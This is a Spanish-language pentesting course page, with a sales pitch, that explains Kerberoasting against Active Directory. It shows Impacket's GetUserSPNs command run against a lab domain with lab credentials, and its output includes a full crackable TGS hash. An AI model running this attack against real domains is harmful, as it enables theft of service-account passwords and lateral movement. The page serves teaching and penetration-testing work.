Utilizando Impacket-GetUserSPNs

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/ej3kiu. ¡Te esperamos para empezar este viaje juntos!

"Impacket-GetUserSPNs" se refiere a una funcionalidad dentro de la suite de herramientas Impacket, que es un conjunto de clases de Python diseñadas para trabajar con protocolos de red. Impacket es ampliamente utilizado para pruebas de penetración y Red Teaming, especialmente en entornos que utilizan servicios y protocolos de Microsoft, como es común en organizaciones que emplean Active Directory (AD).

Contexto sobre SPNs (Service Principal Names):

  • Los SPNs se utilizan en Active Directory para asociar un servicio específico con una cuenta de usuario o de computadora que ejecuta ese servicio. Esto es crucial para el proceso de autenticación Kerberos.

  • Un SPN incorrectamente configurado o asociado con una cuenta de usuario en lugar de una cuenta de servicio puede ser explotado para comprometer la seguridad de la red.

GetUserSPNs en Impacket: La funcionalidad GetUserSPNs se utiliza específicamente para identificar y explotar configuraciones inseguras de SPNs dentro de un dominio de Active Directory. Aquí está cómo funciona:

  1. Enumeración de SPNs: Primero, el atacante o pentester utiliza GetUserSPNs para enumerar todos los SPNs configurados en el dominio que están asociados con cuentas de usuario regulares en lugar de cuentas de servicio. Esto se hace enviando consultas al controlador de dominio y solicitando información específica sobre los SPNs.

  2. Extracción de Tickets TGS: Una vez que se identifican las cuentas de usuario con SPNs, GetUserSPNs puede solicitar tickets de servicio Kerberos (conocidos como Ticket Granting Service o TGS) para esos servicios desde el controlador de dominio, utilizando la funcionalidad de Kerberos conocida como Kerberoasting.

  3. Crackeo de Tickets: Los TGS obtenidos están cifrados con la contraseña de la cuenta de usuario asociada con el SPN. Sin embargo, debido a que muchas organizaciones utilizan políticas de contraseñas débiles, un atacante puede intentar "romper" el cifrado de estos tickets fuera de línea mediante fuerza bruta o técnicas de adivinación de contraseñas.

  4. Compromiso de Cuentas: Si el atacante logra descifrar la contraseña de una cuenta, puede utilizar esas credenciales para acceder a sistemas, elevar privilegios, o realizar movimientos laterales dentro de la red, comprometiendo potencialmente la seguridad de toda la organización.

Es importante mencionar que para utilizar impacket tendremos que tener visibilidad a nivel de red con el DC y configurar nuestro DNS apuntando al dominio.

Debes solicitar la IP del DC en el canal de discord.

root@kali=> tail -1 /etc/hosts              
18.116.10.36    spartancybersec.corp

root@kali=> impacket-GetUserSPNs spartancybersec.corp/clearpass.user:Password@1 -dc-ip 18.116.10.36 -request          
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName            Name        MemberOf  PasswordLastSet             LastLogon  Delegation 
------------------------------  ----------  --------  --------------------------  ---------  ----------
MSSQL/sql.spartancybersec.corp  roast.user            2023-09-28 21:03:36.264988  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*roast.user$SPARTANCYBERSEC.CORP$spartancybersec.corp/roast.user*$48b41fe40d807274fb5d5e13d07c4f67$56c2b7ce7898456aa99ac87da65fe06e039ccfd3fe5fde494f92be3069e01fe53e58f9da98e55ff98392f395e533351e94defbdd76828b5bfc4c0372ffa721852599850da928b25d70322fd8aa93e39f06999b0416867979abb7dd8738ff5c783acf0fc3d58e2406b6f9623144b96a0ac76078cec4ad7f0e00df1967defe477e28fe251ca58beeca7bac79c54245056f0c12dc5b6ce931f7001c7f050b61d7bdfb72f6ce1d89cded8f8624c3097b7b10985063333ccad8374b5f46c2896d97aa4fe45524aba8edc2e6aa3c094fe55975f557575ed915b4102ce0cbd49ab64cd5271a8087bce3103e0fa057974546c694c28503ac7fb6372055d6d22b41fa5bb7e3499d10f0f817cee4b15a3e9002dc14b9ee3bde6fbe5abea50029185a61c1a92df1f4a3e6dd282087fd95f2edf0b546ee627f3787adac62d45d366b235c87d5d049685b4af7a40847b12f17a09e7e634cc566cb2d37ad158ba17377ea2acf8def1bbf11c8baed4d0b78fa2fdb38090368284d4992550b62ab5d2ba5e4fc415b6e947d0b5e7b984d579ce2e57430b7cfd670451ccb6965a49d10cfc13dc0f280b00946fed11232cc2c9e5fd8357c61f96d03a9705b16e784649cd287c362331c3bc60484e2310d68c89127a651d7970ec3b2e9cda52cbb49a6e628ec043178b5bcdbfa4d7f414500c883934eb9f30bf1bac3fb62341c029d5ad39b10a944567b4a3c00cca114affb94778dd5b23a873c53d7a77d7e9b405e9db8f41654af8a729bb5769a465aadc6ba17d3262b008755687dfe0937a53d670ce4a90288cd42c125885a221ef4ae47abb2cf125292f322b33c3c2cdbfeb197051b77f6d0847a561065e88770b92d2c84c452308678b1397f3cdcf29915313532983932a401dc9da371e9400f98074c4822e63c3c96070840a427d63f497d0b830afc2b8f4bfada5e3b61c53233ae380c1d337855e17af4b739de891a4ec82726aeebe696819f97fc068d31d294cdd911f87572fecb10e98e9d027c810fefc82ac55027b2812061b3756db36e589fe2dd6077089c75930cc21a56dc24a59c6e77c5bae3d92d54f5a274fc6898f7b4c2d8d2ed06fb6d702ad57d292266afbfa1025c6d83e02421bbde7641ceee54f9c67a00a3a55971d968fea903a15538ee9e9cb411a5adc196f21775cd9961ff3d490847ce26225b013b093711aeedd3f45bbf9bb67a20f57bbc2ecf5382d0bc9dbc253fb47123de214131b672760fb8707954f7adc0967969d5c9a8f5bb66c4ce57b9806d170cb569cc5fcf9b4ac684d918b71815bad46d22aab8828aca7d1059ffb6426b8940487598641825afa769b87b9a764fc0769a858f6a65d2e0eb32e445916704f0f37f0d37e17f440816f86ce2cdee505e7877af0cf6d41dae3764b4c1e1b47bf3d2fde6d5c182b39b531bf9fae39e7cd92ca45cc2f81ee683291c57bbd5445da2f29ef6b7fac17c84ea40d253b7a8b76719c56a32d4f1c2945ee1ab0534643218a14e1d9dce9f00462a3969c147309b159c1ca60e4b5315064d7b464aea2198e3169ecf2b88b691889ca1c3015d3aabf508fd67362ff813

El resultado se puede apreciar asi:

Última actualización